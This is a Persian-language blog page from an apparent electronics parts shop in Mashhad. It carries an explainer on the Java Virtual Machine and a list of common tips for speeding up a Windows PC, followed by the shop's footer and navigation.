      یک ماشین مجازی جاوا، علاوه بر جاوا، زبان‌های برنامه‌نویسی دیگری را هم پشتیبانی می‌نماید. برای مثال دستورات زبان برنامه‌نویسی Ada توانایی ترجمه به بایت کد و اجرا در این ماشین مجازی را دارند. علاوه بر شرکت سان که توسعه دهنده جاوا است، سایر شرکت‌ها نیز ماشین‌های مجازی جاوایی را منتشر نموده‌اند؛ که البته این کار تحت ویژگی‌های منتشر شده توسط سان، انجام می‌شود. به همین دلیل تمام حقوق تجاری آن تحت نام جاوا و متعلق به سان است. جاوا، بر مبنای شعار معروف یکبار بنویس، همه‌جا اجرا کن طراحی شد. این مفهوم در ماشین مجازی جاوا نیز به کار گرفته شده است. همان‌گونه که اشاره شد ماشین مجازی جاوا محیطی برای اجرای برنامه‌های جاوا است. این ماشین مجازی نرم‌افزاری است که در لایه بالایی سخت‌افزار فیزیکی و سیتم‌عامل قرار می‌گیرد. به همین دلیل ماشین مجازی جاوا  مولفه زیربنایی سکوی جاوا است. ماشین مجازی جاوا روی بسیاری از سخت‌افزارها و سکوهای نرم‌افزاری قابل نصب است. جاوا با استفاده از بایت کد یکسان برای تمام سکوها، ویژگی‌ معروف یک بار ترجمه کن، هرجایی اجرا کن را مطرح کرد که در مغایرت با شعار یکبار بنویس، همه‌جا اجرا کن است. چراکه یکبار بنویس …، درباره زبان‌های ترجمه‌شونده چند سکویی کاربرد دارد. ماشین مجازی جاوا به همراه مجموعه‌ای از کتابخانه‌های کلاس استاندارد توزیع می‌گردد. این کتابخانه‌ها رابط برنامه‌نویسی نرم‌افزار را پیاده‌سازی می‌کند. یک رابط برنامه‌نویسی نرم‌افزار، توسط یک سامانه رایانه‌ای، کتابخانه یا برنامه برای تبادل داده بین آن‌ها فراهم می‌گردد. این رابط‌های برنامه‌ای، به صورت متناسب و با هم در محیط زمان ‌اجرای جاوا (JRE) به صورت یک بسته وجود دارد.

      محیط اجرایی

      برنامه‌هایی که قرار است روی ماشین مجازی جاوا اجرا شوند باید در قالبی استاندارد و کد دودویی قابل حمل ترجمه شده باشند که به شکل نقطه‌کلاس (class.) است. یک برنامه ممکن است شامل تعداد زیادی کلاس در قالب فایل‌های مختلف باشد. برای توزیع ساده‌تر برنامه‌های با اندازه بزرگ، معمولاً این برنامه‌ها در فایل‌هایی با فرمت فایلی .jar، ( Java archive) ذخیره می‌شوند. محیط اجرایی ماشین مجازی جاوا، فایل‌هایی با قالب .class یا .jar اجرا می‌کند. این‌کار با استفاده از شبیه‌ساز مجموعه دستورها ماشین مجازی جاوا و با از تفسیر آن انجام می‌شود. همچنین اجرای برنامه می‌تواند از طریق ترجمه همزمان هات‌اسپات جاوا انجام شود. همانند بسیاری از ماشین‌های مجازی، ماشین مجازی جاوا، دارای ساختاری مبتنی بر پشته و مبتنی بر ریزپردازنده اجرا کننده آن است. وظیفه ماشین مجازی جاوا عنوان شی‌ای از محیط اجرای جاوا، اجرای برنامه‌های جاوا است. بعد از اتمام اجرای برنامه جاوا، این شیء به وسیله Garbage Collection جمع‌آوری می‌شود. ترجمه همزمان، به عنوان بخشی از ماشین مجازی جاوا برای افزایش سرعت اجر ااست. این روش ترجمه، با ترجمه همزمان بخش‌هایی که عملکرد یکسانی را دارند و کاهش زمان لازم برای ترجمه، این افزایش سرعت را به ارمغان می‌آورد.

      درست است که ماشین مجازی جاوا در ابتدا تنها با هدف ترجمه برنامه‌های جاوا منتشر شد، اما امروزه بسیاری از زبان‌های دیگر قادر به اجرای برنامه‌های خود روی آن هستند. ماشین مجازی جاوا فعلی هیچ‌گونه پشتیبانی از زبان‌هایی که بررسی نوع در آن‌ها به صورت پویا است انجام نمی‌دهد، زیرا  بررسی نوع موجود از نوع ایستا است. با این‌حال، از ماشین مجازی جاوا می‌توان به عنوان مفسری برای زبان‌هایی با بررسی نوع پویا، استفاده نمود. پشتیبانی از تغییر پویا در کلاس‌ها و متدها در ماشین مجازی جاوا به صورت محدود انجام می‌شود که تحت محیط عیب‌یابی است. با این وجود کلاس‌ها و متدها را می‌توان به صورت پویا اضافه نمود.

      بیشتر بخوانید
      1602917150

      چگونه سرعت کامپیوتر را افزایش دهیم؟

      نوشته شده توسط: مشهد آی سی ۰۳ آبان ۱۳۹۹ 0دیدگاه
      پس از گذشت مدتی از کار کردن با کامپیوترها سرعت آن‌ها دچار افت می‌شود و مانند روزهای اول با همان سرعت و عملکرد بالا نمی‌توانیم از آن استفاده کنیم. اما راهکارهایی هستند که باعث می‌شوند سرعت کامپیوتر با حدودی بالا برود که در این مقاله به توضیح این نکات می‌پردازیم.

      با پیشرفت تکنولوژی و نرم‌افزارها سیستم موردنیاز برای پشتیبانی از نرم‌افزارهای جدید به مراتب بالاتر رفته و با نصب این نرم‌افزار سرعت کامپیوترها دچار افت می‌شود. اما این نرم‌افزارها ممکن است جز نرم‌افزارهای کاری ما باشند و حذف آن‌ها ممکن نباشد و تنها راه این است که سرعت کامپیوتر را افزایش دهیم.

      دراین مقاله چندین راهکار به شما اراِیه می‌دهیم که باعث می‌شود سرعت کامپیوترتان افزایش یابد.

      ۱. اپلیکیشن Glay Utilities5 برای افزایش سرعت کامپیوتر

      این اپلیکیشن جز یکی از بهترین اپلیکیشن‌هایی است که باعث افزایش سرعت سیستم می‌شود.

      کارکرد این برنامه به این صورت است که با حذف فایل‌های زائد و اسکن کامل سیستم باعث بهبود عملکرد کامپیوتر می‌شود.

      ۲. ارتقا RAM برای افزایش سرعت کامپیوترسرعت کامپیوتر را افزایش دهیم؟ 1

      در بحث سخت‌افزاری سیستم بدون شک رم تاثیر بسیار زیادی بر عملکرد سیستم دارد. با افزایش رم می‌توان بازی‌های ویدیویی را سرعت و کیفیت بالا اجرا نمود. استفاده از رم ۸ یا دو رم ۸ باهم تاثیر بسیار بالایی دارد و طبیعتا هرچه رم شما بالاتر باشد سرعت و عملکرد کامپیوتر هم بالاتر است.

      ۳. کارت گرافیک

      سرعت کامپیوتر را افزایش دهیم؟ 5 1

      یکی از دیگر از راهکارهای سخت‌افزاری افزایش سرعت کامپیوتر ارتقا کارت گرافیک است.

      پیشنهادی برای استفاده ازمدل کارت گرافیک نداریم باید سیستم شما توسط یک متخصص بررسی گردد و متناسب با سیستم کارت گرافیک را ارتقا دهید.

      ۴. پاکسازی هارددیسک برای افزایش سرعت کامپیوتر

      سرعت کامپیوتر را افزایش دهیم؟ 2

      افزایش  فضای مصرفی هارد دیسک باعث کاهش سرعت کامپیوتر می‌شود و هرازچندگاهی با حذف فایل‌های اضافه و بدردنخور می‌توانید فضای هارد را آزاد کنید و سرعت سیستم را افزایش دهید. برای حذف فایل‌های اضافه دکمه ویندوز را فشار دهید و کلمه RUN را سرچ کنید سپس در کادر باز شده کلمه %TEMP% را بنویسید و OK را بزنید. در پنجره باز شده یک سری پوشه خواهیددید که به کاربردی ندارند و صرفا فضای هارد را اشغال کرده‌اند، با حذف این فایل هیچ مشکلی در قسمت سخت‌افزاری و نرم‌افزاری سیستم شما پیش‌نخواهد آمد و صرفا باعث آزادسازی هارد شما می‌شود.

      ۵. غیرفعال کردن برنامه‌های استارتاپی

      هنگام روشن کردن کامپیوتر برنامه‌های استارتاپی فعال می‌شوند، برخی از این برنامه ضروری نیستند و فقط باعث اشغال شدن منابع سیستم می‌شوند. با غیرفعال کردن این برنامه‌ها می‌توانید منابع سیستم را آزاد کنید و سرعت کامپیوتر را بهبود ببخشید.

      برای غیرفعال کردن برنامه‌های استارتاپی دکمه ویندوز را فشار دهید و کلمه سپس کلمه RUN را سرج کنید و در پنجره باز شده کلمه “msconfig” را بنویسید سپس OK را بزنید.

      بر روی زبانه سرویس‌ها کلیک کنید و “Hide all Microsoft services” را بررسی کنید و تیک برنامه‌هایی که نمی‌خواهید در استارت‌آپ باشند را بردارید و آن‌ها را غیرفعال کنید.

      ۶. غیرفعال کردن انیمیشن‌ها برای افزایش سرعت کامپیوتر

      انیمیشن‌ها باعث جذاب‌تر شدن عملکرد سیستم می‌شوند اما زمانی که سرعت کامپیوتر پایین می‌آید این انیمیشن‌ها آزاردهنده هستند. برای افزایش سرعت کامپیوتر باید این انیمیشن‌ها را غیرفعال کرد، برای غیرفعال کردن انیمیشن‌ها مسیر زیر را بروید.

      Control Center > Ease of Access Center > “Turn off unnecessary animations”

      ۷. بهینه‌سازی استفاده از مرورگر

      معمولا افراد برای سرچ در گوگل از مرورگرهای کروم یا فایرفاکس استفاده می‌کنند، گاه پیش‌ آمده که در مرورگر چندین تب را بازکرده‌ایم و همین باعث می‌شود منابع سیستم درگیر استفاده از مرورگر شوند مخصوصا در کروم و باعث کاهش سرعت کامپیوتر می‌شود.

      افزونه “ONE TAB”  می‌تواند این مشکل شما را حل کند. این افزونه برای مرورگرهای کروم و فایرفاکس قابل استفاده است که باعث می‌شود تب‌های بازشده شما را به صورت یک لیست درآورد که همین امر باعث افزایش سرعت کامپیوتر می‌شود.

      ۸. غیرفعال کردن search indexing

      هنگام اجرای ویندوز۱۰ در پس‌زمینه serch indexing فعال می‌شود که جستجوی سریع‌تری را در کامپیوتر فراهم می‌کند درعوض باعث کاهش سرعت کامپیوتر می‌شود. فعال بودن ایندکسینگ ضرورتی ندارد و صرفا یک گزینه اضافه در ویندوز است و با غیرفعالسازی آن به بهبود سرعت کامپیوتر می‌توانید کمک کنید. برای غیرفعالسازی search indexing برروی دکمه ویندوز کلیک کنید و RUN را سرچ کنید در کادر باز شده عبارت services.msc را بنویسید. برنامه ایندیکس برایتان باز می‌شود با کلیک برروی هرکدام و انتخاب گزینه STOP می‌توانید آن‌ها را غیرفعال کنید.

      ۹. فعالسازی Automaed windows maintenance

      ویندوز۱۰ یک مامور امنیتی دارد که کارهای نگهداری سیستم را انجام می‌دهد. روزانه با اسکن کردن سیستم و معاینه آن، سیستم را بررسی می‌کند و به صورت خودکار آن‌ها را برطرف می‌کند.

      گاهی ممکن است این سیستم امنیتی برای شما فعال نشود و برای فعالسازی دستی آن مراحل زیررا بروید.

      برنامه control panel را اجرا کنید و وارد گزینه System and Security > Security and Maintenance را انتخاب کنید. در بخش  Maintenance زیر Automatic Maintenance روی Start maintenance کلیک کنید.

      ۱۰. غیرفعالسازی راهنمای ویندوز

      هنگام نصب ویندوز، باهربار اجرای آن نکات آموزشی درباره استفاده از ویندوز را به شما یادآور می‌کند که دربسیاری از مواقع این نکات لازم نیستند. فعال بودن راهنمای ویندوز علاوه‌بر آزاردهنده بودن باعث کاهش سرعت کامپیوتر می‌شود.

      برای غیرفعالسازی راهنمای ویندوز دکمه ویندوز را فشار دهید و برروی گزینه setting کلیک کنید.

      سپس به System > Notification & actions بروید. به بخش Notifications رفته و تیک گزینه‌ی Get tips tricks and suggestions as you use Windows را انتخاب کنید.

      بیشتر بخوانید
      • 1
      • 2
      • 3
      • …
      • 6
      • 7
      • بعدی
      logo 4 e1548532700450
      • مشهد بلوار مدرس (چهار طبقه) نبش مدرس 8 مجتمع تجاری مدرس طبقه مثبت یک پلاک 23 هزاره سوم رجب زاده- ابوالقاسم (قاسم)رجب زاده
      • 09381429697-05132220084
      • ساعت کاری : 9:00 صبح - 8:00 بعد از ظهر

      حساب کاربری مشتری

      • حساب کاربری من
      • تماس با ما
      • درباره ما
      • پرسش و پاسخ

      اطلاعات

      • قوانین ارسال
      • حفظ حریم خصوصی مشتری
      • محل فروشگاه
      • بازاریابی

      دسته بندی ها

      • نقشه سرویس (RSS)
      • پشتیبانی محصولات
      • خدمات ما
      • نظرات شما

      نمادها

      ©2019 کلیه حقوق برای مشهد آی سی محفوظ است ...
      faic 1
      بستن
      ورود یا ثبت نام
      رمز عبور را فراموش کرده اید؟

      تازه وارد هستید؟

      ثبت نام سریع و آسان!

      • پرداخت سریع
      • ذخیره چندین آدرس پستی
      • نمایش و پیگیری سفارشات و ...
      یک حساب کاربری بسازید
      x
      X
      • منو
      • دسته بندی ها
      • صفحه اصلی
      • فروشگاه
        • تخفیف ها
        • داشبورد
        • سبد خرید
        • تسویه حساب
      • نقشه های تعمیراتی
      • وبلاگ
      • درباره ما
        • برنامه موبایل سایت
        • تماس با ما و ثبت شکایت
        • خبرنامه
      • هارد پروگرام شده
      • هارد خام
      • نرم افزاری های تعمیراتی
      • فایل های تعمیراتی
      • آی سی (ic)